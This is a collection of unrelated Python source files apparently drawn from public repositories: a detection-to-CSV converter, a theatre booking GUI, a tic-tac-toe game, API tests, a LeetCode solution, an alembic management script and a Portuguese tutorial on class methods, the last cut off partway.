row_dict[DetectionsToCSV.NOTES] = \"\"\n\n # -----\n # extra GUARDIAN fields\n # -----\n row_dict[DetectionsToCSV.SIGNATURE_ID] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.SIGNATURE_GROUP] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.PARENT_SIGNATURE] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.SEQUENCE] = DetectionsToCSV.NOT_APPLICABLE\n\n\n rows = [row_dict]\n df = pd.DataFrame(rows,\n columns=DetectionsToCSV.MIN_CSV_COLUMNS)\n return df\n\n\n @staticmethod\n def investigation_to_te_df(investigation):\n detections_of_interest = []\n df = pd.DataFrame(\n columns=DetectionsToCSV.MIN_CSV_COLUMNS)\n rows = []\n\n\n\n for detection in investigation.get_detections():\n if detection.get_agent() == EvidenceIntegration.GUARDIAN_FEATURE_GROUP_AGENT_TAG:\n continue\n\n detections_of_interest.append(detection)\n\n all_features = investigation.get_features()\n\n # logging.debug(\"in investigation_to_te_df, all_features: %s\", str([f.get_id() for f in all_features]))\n # logging.debug(\"investigation_to_te_df, investigation provided has %d detections_of_interest\", len(detections_of_interest))\n for detection in detections_of_interest:\n\n # alterations only create one row\n for alteration in detection.get_alterations():\n alteration_rows = DetectionsToCSV.te_rows_for_alteration(alteration, detection, all_features)\n # logging.debug(\"Appending row for alteration: %s\", str(alteration_rows))\n rows = rows + alteration_rows\n # rows.append(row)\n\n # reads can have multiple regions which point at their own features...\n # 1...n rows\n for read in detection.get_reads():\n # logging.debug(\"read: %s\", str(read))\n read_rows = DetectionsToCSV.te_rows_for_read(read, detection, all_features)\n # logging.debug(\"Appending rows for read: %s\", str(read_rows))\n # rows.append(read_rows)\n rows = rows + read_rows\n\n # contigs can have multiple regions which point at their own features...\n # 1...n rows\n for contig in detection.get_contigs():\n contig_rows = DetectionsToCSV.te_rows_for_contig(contig, detection, all_features)\n # logging.debug(\"Appending rows for contig: %s\", str(contig_rows))\n # rows.append(contig_rows)\n rows = rows + contig_rows\n \n\n\n\n df = pd.DataFrame(\n rows, columns=DetectionsToCSV.MIN_CSV_COLUMNS)\n return df\n\n\n @staticmethod\n def te_rows_for_alteration(alteration, detection, features):\n row_dicts = []\n\n row_dict = DetectionsToCSV.te_base_row_for_detection(detection)\n # logging.debug(\"row_dict after te_base_row_for_detection: %s\", str(row_dict))\n\n # row_dict[ENG_NAME] = # must be set by read, contig, or alteration\n # row_dict[EVIDENCE] = # must be set by read, contig, or alteration\n # row_dict[DETECTION_MODULE] = # must be set by read, contig, or alteration\n\n\n # overwrite the type, always found in alteration so no try block necessary ATM\n row_dict[DetectionsToCSV.EVIDENCE] = alteration.get_type()\n\n # try to grab agent\n try:\n if alteration.get_agent() is not None and alteration.get_agent() != \"\":\n row_dict[DetectionsToCSV.DETECTION_MODULE] = alteration.get_agent()\n except AttributeError:\n # no agent in the alteration... we'll have to get it from feature.\n pass\n\n\n # try to grab hostTaxa\n # todo maybe move this into something for all subclasses of Evidence\n try:\n if alteration.get_hostTaxa() is not None and alteration.get_hostTaxa() != \"\":\n row_dict[DetectionsToCSV.HOST_SPECIES] = alteration.get_hostTaxa()\n except AttributeError:\n pass\n\n # 2. The \"Reference_Genome_or_Assembly_Used_(Y/N)\" column should be set to \"yes\"\n # and \"Reference_Name_or_Accession\" should contain an accession number \n # if an Alteration has a \"targetAssembly\" property.\n try:\n if alteration.get_targetAssembly() is not None:\n row_dict[DetectionsToCSV.REF_GEN_USED] = \"yes\"\n row_dict[DetectionsToCSV.REF_NAME_ACC] = alteration.get_targetAssembly()\n except AttributeError:\n pass\n\n # get readCount if it exists (only Targeted Search ATM)..\n if alteration.get_readCount() is not None:\n row_dict[DetectionsToCSV.READ_COUNT] = alteration.get_readCount()\n\n\n if alteration.get_derivedFeature() is not None:\n # logging.debug(\"alteration's derivedFeature: %s\", str(alteration.get_derivedFeature()))\n\n for feature in features:\n if feature.get_id() == alteration.get_derivedFeature():\n row_dicts = row_dicts + DetectionsToCSV.te_rows_for_feature(feature, row_dict, features)\n break\n\n if (alteration.get_derivedFeature() is None) and (alteration.get_targetFeature() is not None):\n # logging.debug(\"alteration's targetFeature: %s\", str(alteration.get_targetFeature()))\n for feature in features:\n if feature.get_id() == alteration.get_targetFeature():\n row_dicts = row_dicts + DetectionsToCSV.te_rows_for_feature(feature, row_dict, features)\n break\n\n\n return row_dicts\n\n\n @staticmethod\n def te_rows_for_contig(contig, detection, features):\n row_dicts = []\n\n # watch this.. but if the contig doesn't have a region.. we will not produce a T&E row for it.\n regions = []\n try:\n regions = contig.get_regions()\n except AttributeError:\n pass\n\n for region in regions:\n row_dict = DetectionsToCSV.te_base_row_for_detection(detection)\n row_dicts = row_dicts + DetectionsToCSV.te_rows_for_region(region, row_dict, contig.get_source(), features)\n # row_dicts.append(row_dict)\n\n return row_dicts\n\n\n @staticmethod\n def te_rows_for_read(read, detection, features):\n row_dicts = []\n\n for region in read.get_regions():\n row_dict = DetectionsToCSV.te_base_row_for_detection(detection)\n row_dicts = row_dicts + DetectionsToCSV.te_rows_for_region(region, row_dict, read.get_source(), features)\n # row_dicts.append(row_dict)\n\n return row_dicts\n\n\n @staticmethod\n def te_rows_for_feature(feature, row_dict_arg, features, parent_feature_id = None):\n row_dicts = []\n row_dict = copy.deepcopy(row_dict_arg)\n # logging.debug(\"te_rows_for_feature called, feature: %s\", str(feature))\n\n # only set PART_CLASS to Role if it wasn't set by a parent..\n if row_dict[DetectionsToCSV.PART_CLASS] == \"\":\n try:\n row_dict[DetectionsToCSV.PART_CLASS] = feature.get_role()\n except AttributeError:\n pass\n\n\n # get Agent from Feature if it exists\n if feature.get_agent() is not None and feature.get_agent() != \"\":\n row_dict[DetectionsToCSV.DETECTION_MODULE] = feature.get_agent()\n\n\n # \"Signature_ID\" should be populated with the \"id\" property of a feature.\n if feature.get_id() is not None and feature.get_id() != \"\":\n row_dict[DetectionsToCSV.SIGNATURE_ID] = feature.get_id()\n\n # \"Signature_Sequence\" should be populated the \"sequence\" property of the feature.\n if feature.get_sequence() is not None and feature.get_sequence() != \"\":\n row_dict[DetectionsToCSV.SEQUENCE] = feature.get_sequence()\n row_dict[DetectionsToCSV.SIZE] = len(feature.get_sequence())\n\n # \"Parent_Signature\" should be populated if a row represents a feature identified\n # by the \"subFeatures\" property of another feature (populate using this parent feature's\n # \"id\" property).\n if parent_feature_id is not None:\n row_dict[DetectionsToCSV.PARENT_SIGNATURE] = parent_feature_id\n\n identifier = \"\"\n feature_id = feature.get_id()\n feature_name = feature.get_name()\n feature_source = feature.get_source()\n\n\n # If a Feature has both a name and a source, compare them. If either its name\n # or its source is a substring of the other, then identify the feature using its source.\n # Otherwise, identify the feature using the concatenation of “Subsequence of “ and \n # its name, stripping any commas from the result.\n if (feature_name is not None) and (feature_source is not None):\n if (feature_name in feature_source) or (feature_source in feature_name):\n identifier = feature_source\n else:\n identifier = \"Subsequence of \" + feature_name\n identifier = \"\".join(identifier.split(\",\"))\n\n # If a Feature lacks a name but has a source, then identify the Feature using the concatenation\n # of of “Subsequence of “ and its source, stripping any commas from the result.\n elif (feature_name is None) and (feature_source is not None):\n identifier = \"Subsequence of \" + feature_source\n identifier = \"\".join(identifier.split(\",\"))\n\n # If a Feature lacks a source but has a name, then identify the Feature using its name.\n elif (feature_source is None) and (feature_name is not None):\n identifier = feature_name\n\n # If a Feature lacks both a source and a name, then identify it using its id.\n elif (feature_source is None) and (feature_name is None):\n identifier = feature_id\n\n row_dict[DetectionsToCSV.ENG_NAME] = identifier\n row_dicts.append(row_dict)\n\n # If a Feature has subFeatures, then apply the previous steps to them as well. \n # For the overall JSON-to-CSV conversion, this should yield one row for the parent \n # Feature and one row for each child Feature. \n if (feature.get_subFeatures() is not None) and (len(feature.get_subFeatures()) > 0):\n for feature_in_subfeatures in feature.get_subFeatures():\n for f in features:\n if f.get_id() == feature_in_subfeatures:\n row_dicts = row_dicts + DetectionsToCSV.te_rows_for_feature(f, row_dict, features, feature.get_id())\n # row_dicts = row_dicts + DetectionsToCSV.te_rows_for_feature(feature, row_dict_arg, features)\n\n\n\n return row_dicts\n\n\n @staticmethod\n def te_rows_for_region(region, row_dict_arg, source_arg, features):\n row_dicts = []\n row_dict = copy.deepcopy(row_dict_arg)\n # logging.debug(\"te_rows_for_region called, region: %s\", str(region))\n\n\n # source, start, and end\n source = source_arg.split(\"/\")[-1]\n start = -1\n end = -1\n try:\n start = region.get_start()\n end = region.get_end()\n except AttributeError:\n pass\n\n try:\n start = region.get_featureStart()\n end = region.get_featureEnd()\n except AttributeError:\n pass\n\n if start != -1 and end != -1:\n coordinates = source + \":\" + str(start) + \"-\" + str(end)\n else:\n coordinates = source\n\n row_dict[DetectionsToCSV.COORDINATES] = coordinates\n\n\n # role into Part_Class\n try:\n row_dict[DetectionsToCSV.PART_CLASS] = region.get_role()\n except AttributeError:\n pass\n\n\n # get info from the region's feature if it has one (it better...)\n if region.get_feature() is not None:\n for feature in features:\n if feature.get_id() == region.get_feature():\n row_dicts = row_dicts + DetectionsToCSV.te_rows_for_feature(feature, row_dict, features)\n\n\n return row_dicts\n\n\n\n @staticmethod\n def te_base_row_for_detection(detection):\n\n row_dict = {}\n row_dict[DetectionsToCSV.SAMPLE_ID] = detection.get_sample()\n row_dict[DetectionsToCSV.NUM_ASSAYS] = 1\n row_dict[DetectionsToCSV.CONCENTRATION] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.REF_GEN_USED] = \"no\"\n row_dict[DetectionsToCSV.REF_NAME_ACC] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.DECISION_CRITERIA] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.DNA_CONCENTRATION] = DetectionsToCSV.NOT_APPLICABLE\n row_dict[DetectionsToCSV.DNA_CONCENTRATION_UNITS] = DetectionsToCSV.NOT_APPLICABLE\n try:\n row_dict[DetectionsToCSV.DATE_RUN] = detection.get_date()\n except AttributeError:\n row_dict[DetectionsToCSV.DATE_RUN] = \"\"\n row_dict[DetectionsToCSV.TESTER] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.SW_VER] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.HW_ENV] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.COMP_RES] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.COMP_TIME] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.ASSAY_TIME] = DetectionsToCSV.NOT_APPLICABLE\n try:\n row_dict[DetectionsToCSV.SCORE] = detection.get_confidence()\n except AttributeError:\n row_dict[DetectionsToCSV.SCORE] = \"\"\n row_dict[DetectionsToCSV.ENG_DETECTED] = \"yes\"\n row_dict[DetectionsToCSV.ENG_NAME] = \"\" # must be set by read, contig, or alteration\n row_dict[DetectionsToCSV.NATIVE] = \"no\"\n row_dict[DetectionsToCSV.EVIDENCE] = \"insertion\"\n row_dict[DetectionsToCSV.HOST_SPECIES] = \"\"\n row_dict[DetectionsToCSV.ENG_DNA_SOURCE] = \"\"\n row_dict[DetectionsToCSV.COORDINATES] = \"\"\n row_dict[DetectionsToCSV.SIZE] = \"\"\n row_dict[DetectionsToCSV.C_OR_P] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.CHROMOSOME] = DetectionsToCSV.TODO\n row_dict[DetectionsToCSV.PART_CLASS] = \"\"\n row_dict[DetectionsToCSV.DETECTION_MODULE] = \"\" # must be set by read, contig, or alteration\n row_dict[DetectionsToCSV.NOTES] = \"\"\n\n # -----\n # extra GUARDIAN fields\n # -----\n row_dict[DetectionsToCSV.SIGNATURE_ID] = \"\"\n row_dict[DetectionsToCSV.SIGNATURE_GROUP] = detection.get_sample() + \":\" + DetectionsToCSV.signature_group_str_for_detection(detection)\n row_dict[DetectionsToCSV.PARENT_SIGNATURE] = \"\"\n row_dict[DetectionsToCSV.READ_COUNT] = \"\"\n row_dict[DetectionsToCSV.SEQUENCE] = \"\"\n\n return row_dict\n\n\n @staticmethod\n def signature_group_str_for_detection(detection):\n # For the \"Signature_Group\" column, we could potentially use any appropriate IDs for\n # the meta-groups that you may form during integration, or we could use the shortest\n # ID of one of the features from a group. For the attached example, I made the feature\n # IDs by prefixing the pre-evidence-integration feature IDs with their detecting agents,\n # but these IDs would actually take whatever form we are currently using to ensure unique\n # feature IDs post-evidence-integration.\n\n # logging.debug(\"Detection, singular=%d, agent=%s\", int(detection.get_singular()), str(detection.get_agent()))\n\n # These are from EvidenceIntegration, so all_regions are in one RegionGroup\n # and all_alterations are in one AlterationGroup\n all_regions = EvidenceIntegration.all_regions_for_detection(detection)\n all_alterations = EvidenceIntegration.all_alterations_for_detection(\n detection)\n\n alteration_str = None\n # it has an AlterationGroup\n if len(all_alterations):\n alteration_group = AlterationGroup(all_alterations[0])\n for alteration in all_alterations[1:]:\n alteration_group.add_alteration(alteration)\n\n try:\n alteration_str = alteration_group.descriptive_name_for_csv()\n except AttributeError as ae:\n logging.warn(\"Using str(AlterationGroup) due to AttributeError: %s\", str(ae))\n alteration_str = str(alteration_group)\n\n region_str = None\n # it has a RegionGroup\n if len(all_regions):\n region_group = RegionGroup(all_regions[0])\n for region in all_regions[1:]:\n region_group.add_region(region)\n\n\n try:\n region_str = region_group.descriptive_name_for_csv()\n except AttributeError as ae:\n logging.warn(\n \"Using str(RegionGroup) due to AttributeError: %s\", str(ae))\n region_str = str(region_group)\n\n\n if alteration_str is not None and region_str is not None:\n signature_group_str = \"Composite detection with an AlterationGroup and RegionGroup. AlterationGroup: \"\n signature_group_str += alteration_str + \". RegionGroup: \"\n signature_group_str += region_str\n elif alteration_str is not None:\n signature_group_str = \"AlterationGroup: \"\n signature_group_str += alteration_str\n else:\n signature_group_str = \"RegionGroup: \"\n signature_group_str += region_str\n\n # logging.debug(\"signature_group_str: %s\", str(signature_group_str))\n # logging.debug(\"alteration_str: %s\", str(alteration_str))\n # logging.debug(\"region_str: %s\", str(region_str))\n return signature_group_str\n\n\ndef main(args=None):\n if args is None:\n args = sys.argv[1:]\n\n parser = argparse.ArgumentParser()\n parser.add_argument('-j', '--json_files', nargs='*', default=[])\n parser.add_argument('-d', '--json_dirs', nargs='*', default=[])\n parser.add_argument('-o', '--out_dir', nargs=1, default=None)\n parser.add_argument('-l', '--integration_log', nargs='?', default='')\n parser.add_argument('-i', '--integrate', action='store_true', default=False)\n\n args = parser.parse_args(args)\n json_files = args.json_files\n json_dirs = args.json_dirs\n out_dir = args.out_dir\n integrate = args.integrate\n\n if len(args.integration_log) > 0:\n for handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\n\n logging.basicConfig(level=logging.INFO, filename=args.integration_log, filemode='w',\n format='%(levelname)s : %(message)s')\n else:\n logging.basicConfig(level=logging.DEBUG,\n format='%(levelname)s : %(message)s')\n\n if ((len(json_files) == 0 or json_files is None) and (len(json_dirs) == 0 or json_dirs is None)):\n logging.error(\n \"Must supply either a directory in json_dirs, or a file in json_files.\")\n exit()\n\n logging.debug(\"json_files in: %s\", str(json_files))\n if len(json_files) == 1:\n parts = json_files[0].split(\",\")\n tmp = []\n for part in parts:\n tmp.append(part.strip())\n json_files = tmp\n\n if (len(json_dirs) == 1):\n parts = json_dirs[0].split(\",\")\n tmp = []\n for part in parts:\n tmp.append(part.strip())\n for json_dir in tmp:\n json_files = json_files + \\\n EvidenceIntegrationUtils.get_json_files_from_dir(\n json_dir)\n\n if (len(out_dir) == 1):\n out_dir = out_dir[0]\n os.makedirs(out_dir, exist_ok=True)\n # if not os.path.exists(out_dir):\n # os.makedirs(out_dir)\n else:\n logging.error(\"supply output dir for json and csv!\")\n exit()\n\n all_investigations = []\n for json_file in json_files:\n logging.debug(\n \"Creating Investigation object for json_file: %s\", str(json_file))\n investigation = Investigation()\n with open(json_file) as json_handle:\n json_dict = json.load(json_handle)\n investigation.read_from_json(json_dict)\n logging.debug(\"investigation: %s\", str(investigation))\n all_investigations.append(investigation)\n\n\n\n if integrate:\n base_detections = DetectionsToVisualization.json_files_to_detections(\n json_files)\n\n frames = []\n processed_investigations = PreprocessInvestigations.process_investigations(\n all_investigations)\n\n sample_to_guardian_investigation = EvidenceIntegration.integrate(\n processed_investigations, json_out_dir=out_dir)\n\n logging.debug(\"all samples: %s\", str(sample_to_guardian_investigation.keys()))\n\n for sample in sample_to_guardian_investigation:\n guardian_investigation = sample_to_guardian_investigation[sample]\n te_df = DetectionsToCSV.investigation_to_te_df(guardian_investigation)\n frames.append(te_df)\n\n non_eng_sample_ids = []\n for detection in base_detections:\n # skip GUARDIAN detections and GUARDIAN_FEATURE_GROUPS\n try:\n if detection.get_singular() == True:\n continue\n except AttributeError:\n # doesn't have singular set, go ahead and let it through\n pass\n # if the detection did not result in a guardian investigation, there is no engineering found\n if detection.get_sample() not in sample_to_guardian_investigation:\n te_df = DetectionsToCSV.natural_te_row_for_sample(detection.get_sample())\n non_eng_sample_ids.append(detection.get_sample())\n frames.append(te_df)\n\n logging.debug(\"samples w/o engineering found: %s\", str(non_eng_sample_ids))\n\n whole_df = pd.concat(frames, ignore_index=True)\n whole_df.to_csv(out_dir + \"/guardian-out.csv\", index=False)\n\n else:\n # just doing 1 for now...\n df = DetectionsToCSV.investigation_to_te_df(all_investigations[0])\n\n logging.debug(\"df: %s\", str(df))\n df.to_csv(out_dir + \"/guardian-out.csv\", index=False)\n\n print('Finished')\n\n\nif __name__ == '__main__':\n main()\n\n","repo_name":"raytheonbbn/midoe","sub_path":"evidenceintegration/DetectionsToCSV.py","file_name":"DetectionsToCSV.py","file_ext":"py","file_size_in_byte":27358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"920333594","text":"from tkinter import *\r\nfrom tkinter import ttk\r\nimport time\r\nimport datetime\r\n\r\ndef home(master):\r\n\r\n # Frame 1\r\n frame1 = Frame(master, bg=\"white\",width =900)\r\n frame1.pack(side= TOP, fill = X)\r\n label_heading = Label(frame1)\r\n label_heading.config(text=\"Collyer's Theatre Ticket Booking System\", font=(\"Simplifica 18 bold\"), bg='white', padx=20, pady=25)\r\n label_heading.pack(side=LEFT)\r\n localtime = time.asctime(time.localtime(time.time()))\r\n lblInfo = Label(frame1, font=('arial', 12, 'bold'),\r\n text=localtime, fg=\"Steel Blue\",\r\n bd=10, anchor='w',padx=50)\r\n\r\n lblInfo.pack(side=RIGHT)\r\n # Frame 2\r\n frame2 = Frame(master, bg=\"black\")\r\n frame2.pack(side=TOP, pady=20)\r\n\r\n Intro = \"\"\"Welcome to the Collyer's Theatre Booking System for the 2020 Collyers Performance!.\"\"\"\r\n\r\n Intro_text = Label(frame2)\r\n Intro_text.config(text=Intro, font=\"times 12\", bg=\"light blue\")\r\n Intro_text.grid(row=1, padx=100, pady=10)","repo_name":"HassanMujtaba12/Theatre-Booking-System","sub_path":"Home.py","file_name":"Home.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38709913757","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# use a variable to control gameplay being active\ngame_active = \"y\"\n\n# use a while loop to control game repeat\nwhile game_active == \"y\":\n import time\n import os\n \n os.system('cls')\n \n # create a dictionary to store each board location and the player whose token holds it. Will be used to track changes during gameplay\n board_locs_dict = {1:\"1\",2:\"2\",3:\"3\",4:\"4\",5:\"5\",6:\"6\",7:\"7\",8:\"8\",9:\"9\"}\n\n # create a function to display the current board throughout the game\n def display_game_board():\n print(f\"{board_locs_dict[1]} | {board_locs_dict[2]} | {board_locs_dict[3]}\")\n print(\"\\n--|---|--\")\n print(f\"{board_locs_dict[4]} | {board_locs_dict[5]} | {board_locs_dict[6]}\")\n print(\"\\n--|---|--\")\n print(f\"{board_locs_dict[7]} | {board_locs_dict[8]} | {board_locs_dict[9]}\")\n\n # begin gameplay here\n print(\"Welcome to Tic-Tac-Toe! Let's begin!\")\n time.sleep(2)\n print(\"\\nIn this game, your moves will be recorded on a game board looking like the one below.\\n\")\n display_game_board()\n time.sleep(4)\n print(\"\"\"\\nThe spots are numbered in the order that you'll eventually use to select them during gameplay. But before we begin,\nwe'll need a little bit more information...\\n\"\"\")\n\n # collect players names and assign player tokens below\n p1_token = None\n p2_token = None\n\n p1_name = str(input(\"Player 1 - what is your name?: \"))\n\n # request token selection from player 1 - force to 'x' or 'o'\n p1_token = str(input(\"Great! And will you be playing as x or o?\")).lower()\n while p1_token not in ['x','o']:\n p1_token = str(input(f\"{p1_name}, please select 'x' or 'o'\")).lower()\n\n print(f\"\\nThanks {p1_name}!\")\n print(\"\\n\")\n time.sleep(2)\n\n p2_name = str(input(\"Player 2 - what is your name?: \"))\n # set player 2 token equal to the opposite of player 1\n if p1_token == 'x':\n p2_token = 'o'\n else:\n p2_token = 'x'\n\n print(f\"\\nThanks {p2_name}!\")\n\n # create a dictionary consisting of player identifiers as keys, name and token as values to use in later references\n player_dict = {\"p1\":[p1_name,p1_token],\"p2\":[p2_name,p2_token]}\n\n time.sleep(2)\n print(\"\\n\\nOkay, so {0[0]} will be player one and use {0[1]}, and {1[0]} will be player two, using {1[1]}. Let's begin!\\n\".format(player_dict[\"p1\"],player_dict[\"p2\"]))\n time.sleep(4)\n #####\n # create a function to identify the potential winning conditions. In this case that should mean that either a full row, a full\n # column, or a diagonal of three all share the same token. We'll refer to locations in the \"board_locs_dict\" to check for a win\n #####\n\n def check_for_win():\n row_cond = None\n col_cond = None\n diag_cond = None\n\n for x in [1,4,7]:\n if board_locs_dict[x] == board_locs_dict[x+1] == board_locs_dict[x+2]:\n row_cond = True\n break\n for x in [1,2,3]:\n if board_locs_dict[x] == board_locs_dict[x+3] == board_locs_dict[x+6]:\n col_cond = True\n break\n for x in [1,3]:\n if x == 1:\n if board_locs_dict[x] == board_locs_dict[x+4] == board_locs_dict[x+8]:\n diag_cond = True\n break\n if x == 3:\n if board_locs_dict[x] == board_locs_dict[x+2] == board_locs_dict[x+4]:\n diag_cond = True\n break\n\n return row_cond or col_cond or diag_cond\n\n # create a list to keep track of eligible selections from the board during gameplay and count of turns\n board_tracking_list = [key for key in board_locs_dict.keys()]\n \n # create a function to request a selection from the player\n def request_p_choice():\n choice = int(input(f\"{cur_player[0]} - please choose an available numbered location from the board: \"))\n while choice not in board_tracking_list:\n choice = int(input(f\"That is not a valid selection. Please try again: \"))\n return choice\n\n #####\n # CREATE AND EXECUTE THE CORE GAMEPLAY LOOP \n #####\n\n # create a variable that will be used to alternate between players. Start at player 1\n cur_player = player_dict[\"p1\"]\n \n os.system('cls')\n \n # begin a while loop referring to the length of the board tracking list. Each turn will remove an element from the list, so\n # the loop will end when all selections have been exhausted\n while len(board_tracking_list) > 0:\n display_game_board()\n print(\"\\n\")\n p_choice = request_p_choice()\n board_locs_dict[p_choice] = cur_player[1]\n board_tracking_list.pop(board_tracking_list.index(p_choice))\n if check_for_win() is True:\n os.system('cls')\n time.sleep(1)\n print(\"\\nWe have a winner!\\n\")\n time.sleep(1)\n display_game_board()\n time.sleep(1)\n print(f\"\\nCongratulations {cur_player[0]}, you have won the game!\")\n break\n else:\n if cur_player == player_dict[\"p1\"]:\n cur_player = player_dict[\"p2\"]\n else:\n cur_player = player_dict[\"p1\"]\n time.sleep(1)\n os.system('cls')\n\n time.sleep(3)\n\n if len(board_tracking_list) == 0:\n print(\"\\nLooks like we did not end up with a winner. Thanks for playing!\")\n else:\n print(\"\\nThanks for playing!\\n\")\n \n time.sleep(2)\n game_replay = str(input(\"Would you like to play again? Y or N: \")).lower()\n while game_replay not in ['y','n']:\n game_replay = str(input(\"Not a valid response - please enter Y or N: \"))\n game_active = game_replay\n print(\"\\n\")\n\ntime.sleep(2)\n\nprint(\"\\nOkay, later on!\")\n\ntime.sleep(4)","repo_name":"vicemayor/my_Python-3-Bootcamp-work","sub_path":"my_Milestone_TicTacToe_game_FINAL.py","file_name":"my_Milestone_TicTacToe_game_FINAL.py","file_ext":"py","file_size_in_byte":5816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"34993950272","text":"from fastapi.testclient import TestClient\nfrom fastapi import status\nfrom main import app\nfrom routers.conecction_db import select_quantity_cripto\n\nclient = TestClient(app)\n\ndef test_venta():\n response = client.post(\"/venta\",\n json={\n \"cantidad\": 1.0\n }) \n assert response.status_code == status.HTTP_201_CREATED\n\ndef test_cantidad_disponible_para_venta(): \n response = client.post(\"/venta\",\n json={\n \"cantidad\": 10000 # cantidad mayor a lo disponible para probar\n })\n cantidad = select_quantity_cripto()\n assert response.status_code == status.HTTP_406_NOT_ACCEPTABLE\n detail=f\"error : Cantidad disponible: {str(cantidad)} - Cantidad solicitada: 10000.0\"\n assert response.json() == {'detail':detail}\n\ndef test_cantidad_venta_equal_0():\n response = client.post(\"/venta\",\n json={\n \"cantidad\": 0\n }) \n assert response.status_code == status.HTTP_400_BAD_REQUEST\n detail=\"La cantidad vendida debe ser mayor a 0\"\n assert response.json() == {'detail':detail}","repo_name":"eze2286/exchange_crypto","sub_path":"test_endpoints/test_venta.py","file_name":"test_venta.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5975456912","text":"class Solution:\n def pacificAtlantic(self, heights: List[List[int]]) -> List[List[int]]:\n rows, cols = len(heights), len(heights[0])\n pset = set()\n aset = set()\n \n def dfs(r, c, visit, prevHeight):\n if (r, c) in visit or r not in range(rows) or c not in range(cols) or heights[r][c] < prevHeight:\n return\n visit.add((r, c))\n directions = [(1,0),(0,1),(-1,0),(0,-1)]\n for dr, dc in directions:\n nr, nc = r + dr, c + dc\n dfs(nr, nc, visit, heights[r][c])\n \n for c in range(cols):\n dfs(0, c, pset, heights[0][c])\n dfs(rows - 1, c, aset, heights[rows - 1][c])\n \n for r in range(rows):\n dfs(r, 0, pset, heights[r][0])\n dfs(r, cols - 1, aset, heights[r][cols - 1])\n \n res = []\n for r in range(rows):\n for c in range(cols):\n if (r, c) in pset and (r, c) in aset:\n res.append([r, c])\n \n return res","repo_name":"mchae90/dsa","sub_path":"lp/medium/pacific_atlantic_waterflow.py","file_name":"pacific_atlantic_waterflow.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27770692422","text":"import sys\n\nfrom alembic.config import Config\nfrom alembic import command\nfrom AuthService import settings\n\n\ndef drop_all(alembic_conf=None):\n \"\"\"\n Drops all tables in the database.\n\n @:param alembic_conf: Alembic configuration to be used.\n \"\"\"\n\n if alembic_conf is None:\n alembic_conf = initialize_alembic_conf()\n\n print(\"Dropping all tables in 'auth.models'..\")\n\n from auth import models\n command.downgrade(alembic_conf, \"base\")\n\n print(\"SUCCESS\")\n\n\ndef initialize_alembic_conf():\n \"\"\"\n Initializes alembic configuration.\n \"\"\"\n config = Config(\"alembic.ini\")\n config.set_main_option('script_location', \"alembic\")\n config.set_main_option('sqlalchemy.url', settings.SQLALCHEMY_DB_URL)\n\n return config\n\n\ndef flush_db():\n \"\"\"\n Clears the current database tables by dropping tables and creating new\n empty ones.\n \"\"\"\n\n conf = initialize_alembic_conf()\n\n drop_all(conf)\n\n print(\"Upgrading migrations to head..\")\n command.upgrade(conf, \"head\")\n print(\"SUCCESS\")\n\n\ndef call_command():\n \"\"\"\n Parses the system arguments to call the appropriate command.\n \"\"\"\n commands = {\n \"drop_all\": drop_all,\n \"flush_db\": flush_db\n }\n if len(sys.argv) != 2:\n raise Exception(\n \"Bad script usage. Example: python manage.py [command]\"\n )\n\n command_name = sys.argv[1]\n if command_name not in commands:\n raise Exception(f\"Unrecognized command '{command_name}'\")\n\n commands[command_name]()\n\n\nif __name__ == \"__main__\":\n call_command()\n","repo_name":"biothings/biothings_oauth","sub_path":"auth_service/src/AuthService/manage.py","file_name":"manage.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"21455113023","text":"# são funções como quaisquer outras\n\n# Basicamente metodos são divididos em dois grupos:\n# metodos de instancia e metodos de classe.\n\n\n# 1 ) METODOS DE INSTANCIA (ACESSADOS SOMENTE PELO OBJETO , APÓS SEREM INSTANCIADOS PELA CLASSE)\n\n# eles precisam de uma instancia da classe (instancia e objetos são a mesma coisa) para ser usado.\n\n# 1.1) metodo construtor (constructor)\n# conhecido tbm como metodo magico( assim como outros que começam e terminam com dunder [__ __])\n# possui esse nome pois controi objetos da classe a que pertence, ou seja, serve para instancia objetos a classe que ele pertence\n# instancia o objeto pato pertencente a classe animais\n\n\n# sintaxe: def __init__(self, parametros):\n # bloco\n\n# SELF - é o proprio objeto, self é uma forma de referenciar esse objeto (foque na palavra ESSE) ---> (self tem o mesmo conceito de THIS no javascript)\n# SELF é o objeto / instancia --> é convencional pode usar qualquer nome\n\n\n # ex\n\nfrom xml.sax.handler import feature_external_ges\n\n\nclass Carro:\n def __init__(self, portas, cor):\n # atributos(caracteristicas do carro)\n self.portas = portas # publico\n self.cor = cor # publico\n self.__arcondicionado = True # privado\n #ou seja, o meu proprio objeto (self) esta recebendo o atributo portas e cor\n# nota a seguinte sintaxe self.__arcondicionado = True, QUANDO PASSAMOS UM ATRIBUTO OU CLASSE COM 2 UNDERLINES QUEREMOS DIZER QUE SÃO ATRIBUTOS OU CLASSES PRIVADOS\n# nossa classe foi criada, agora vamos instanciar um objeto criando o objeto ferrari\n\nferrari = Carro('4 portas','preta')\n\nprint(ferrari) # 